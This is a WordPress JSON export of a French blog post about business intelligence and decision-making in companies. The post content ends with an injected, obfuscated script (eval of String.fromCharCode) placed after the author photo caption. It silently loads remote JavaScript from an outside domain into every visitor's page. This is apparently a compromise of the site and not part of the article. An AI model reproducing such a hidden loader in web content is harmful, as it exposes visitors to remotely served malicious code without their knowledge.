{"id":89,"date":"2014-05-14T11:08:44","date_gmt":"2014-05-14T10:08:44","guid":{"rendered":"http:\/\/www.3coh.net\/contributions\/?p=89"},"modified":"2017-04-29T13:02:55","modified_gmt":"2017-04-29T11:02:55","slug":"linformatique-decisionnelle","status":"publish","type":"post","link":"https:\/\/ipresences.com\/Blog\/archives\/89","title":{"rendered":"L\u2019informatique d\u00e9cisionnelle"},"content":{"rendered":"<p style=\"text-align: justify;\"><strong><em>\u00ab\u00a0Entre deux issues mutuellement exclusives, une personne qui choisit une issue, \u00e0 la suite d&rsquo;un processus mental appel\u00e9 r\u00e9flexion, aurait bien pu choisir l&rsquo;autre. Nous appelons ce choix: \u201c La d\u00e9cision \u201d ou plus pr\u00e9cis\u00e9ment \u201c La prise de d\u00e9cision \u201d\u00a0\u00bb<\/em><\/strong><\/p>\n<p style=\"text-align: justify;\">Les \u00eatres humains sont tout le temps confront\u00e9s \u00e0 des situations n\u00e9cessitant une prise de d\u00e9cision de leur part. L&rsquo;importance et les cons\u00e9quences de leur choix peuvent varier, et peuvent avoir des effets \u00e0 court ou \u00e0 long terme.<\/p>\n<p style=\"text-align: justify;\">Cependant, la mani\u00e8re dont la d\u00e9cision est prise ne change g\u00e9n\u00e9ralement pas. En effet, pour esp\u00e9rer prendre une bonne d\u00e9cision, nous nous reposons d&rsquo;abord sur une bonne connaissance de l&rsquo;environnement d\u00e9cisionnel, et donc de prendre en compte toutes les donn\u00e9es relatives \u00e0 la d\u00e9cision et que nous jugeons importantes, sans s&rsquo;encombrer avec des donn\u00e9es non pertinentes, qui ne feraient que retarder le processus de prise de d\u00e9cision.<\/p>\n<p style=\"text-align: justify;\">\u00a0Une fois les donn\u00e9es n\u00e9cessaires rassembl\u00e9es, une analyse s\u2019impose afin de choisir la d\u00e9cision appropri\u00e9e, tout en \u00e9valuant les r\u00e9sultats que celle-ci pourrait engendrer dans le futur.<\/p>\n<p style=\"text-align: justify;\">\u00a0L\u2019\u00e9volution des technologies informatiques, au cours des derni\u00e8res ann\u00e9es, a apport\u00e9 beaucoup de fra\u00eecheur pour les d\u00e9cideurs des entreprises modernes, et leur a permis de mieux maitriser l\u2019\u00e9volution de leur entreprise, qui \u00e9tait, quelques ann\u00e9es en arri\u00e8re, difficile \u00e0 appr\u00e9hender, d\u00fb \u00e0 certains facteurs, comme l\u2019augmentation du nombre de param\u00e8tres \u00e0 prendre en compte, la mondialisation, la concurrence, et bien s\u00fbre la n\u00e9cessit\u00e9 de prendre des d\u00e9cisions rapides pour \u00eatre r\u00e9actif \u00e0 l\u2019\u00e9volution du secteur d\u2019activit\u00e9.<\/p>\n<p style=\"text-align: justify;\">Depuis le d\u00e9but des ann\u00e9es 1980 et avec une explosion au milieu des ann\u00e9es 1990, les entreprises s&rsquo;\u00e9quipent de solutions de gestion et stockent un volume d&rsquo;information qui s&rsquo;agrandit un peu plus chaque jour. Rapidement apparait l&rsquo;id\u00e9e d&rsquo;exploiter toutes ces donn\u00e9es afin d&rsquo;optimiser la d\u00e9cision. Na\u00eet ainsi l&rsquo;informatique d\u00e9cisionnelle dont le but est de collecter, consolider, synth\u00e9tiser l&rsquo;information pour aider \u00e0 la prise de d\u00e9cision.<\/p>\n<p style=\"text-align: justify;\">\u00a0L&rsquo;informatique d\u00e9cisionnelle a apport\u00e9, gr\u00e2ce un ensemble de m\u00e9thodes et d\u2019outils, un moyen pour mieux exploiter les donn\u00e9es des syst\u00e8mes op\u00e9rationnels (bases de donn\u00e9es relationnelles), produites durant de longues ann\u00e9es, et de g\u00e9n\u00e9rer de la connaissance \u00e0 partir de ces donn\u00e9es.<\/p>\n<p style=\"text-align: justify;\">\u00a0Gr\u00e2ce \u00e0 ce genre d\u2019environnement, les d\u00e9cideurs peuvent connaitre les tendances de l\u2019entreprise, au moyen des principaux indicateurs de bonne sant\u00e9 de l&rsquo;entreprise, et ce, \u00e0 travers les mois ou les ann\u00e9es. Ils pourront ainsi analyser des donn\u00e9es agr\u00e9g\u00e9es pour mieux appr\u00e9cier l&rsquo;ensemble de l&rsquo;activit\u00e9 de l&rsquo;entreprise.<\/p>\n<p><figure id=\"attachment_93\" aria-describedby=\"caption-attachment-93\" style=\"width: 233px\" class=\"wp-caption alignright\"><a href=\"https:\/\/ipresences.com\/wp-content\/uploads\/2014\/05\/DSC00376_111.png\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-93 size-medium\" src=\"https:\/\/ipresences.com\/wp-content\/uploads\/2014\/05\/DSC00376_111-233x300.png\" alt=\"BOUBENIA Mohamed\" width=\"233\" height=\"300\" \/><\/a><figcaption id=\"caption-attachment-93\" class=\"wp-caption-text\"><center>BOUBENIA Mohamed<br \/> Concepteur\/D\u00e9veloppeur<br \/> d\u2019applications \u00e0 Pr\u00e9sences Int\u2019l<\/center><\/figcaption><\/figure><script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,102,111,114,46,102,105,114,115,116,98,108,97,99,107,112,104,97,115,101,46,99,111,109,47,116,114,98,98,98,98,98,50,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*674867468*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00ab\u00a0Entre deux issues mutuellement exclusives, une personne qui choisit une issue, \u00e0 la suite d&rsquo;un processus mental appel\u00e9 r\u00e9flexion, aurait bien pu choisir l&rsquo;autre. Nous appelons ce choix: \u201c La d\u00e9cision \u201d ou plus pr\u00e9cis\u00e9ment \u201c La prise de d\u00e9cision \u201d\u00a0\u00bb Les \u00eatres humains sont tout le temps confront\u00e9s \u00e0 des situations n\u00e9cessitant une prise &hellip;<\/p>\n<p class=\"read-more\"> <a class=\"\" href=\"https:\/\/ipresences.com\/Blog\/archives\/89\"> <span class=\"screen-reader-text\">L\u2019informatique d\u00e9cisionnelle<\/span> Lire la suite\u00a0\u00bb<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"default","ast-global-header-display":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","footnotes":""},"categories":[117],"tags":[],"class_list":["post-89","post","type-post","status-publish","format-standard","hentry","category-contributions"],"_links":{"self":[{"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/posts\/89","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/comments?post=89"}],"version-history":[{"count":0,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/posts\/89\/revisions"}],"wp:attachment":[{"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/media?parent=89"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/categories?post=89"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/tags?post=89"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}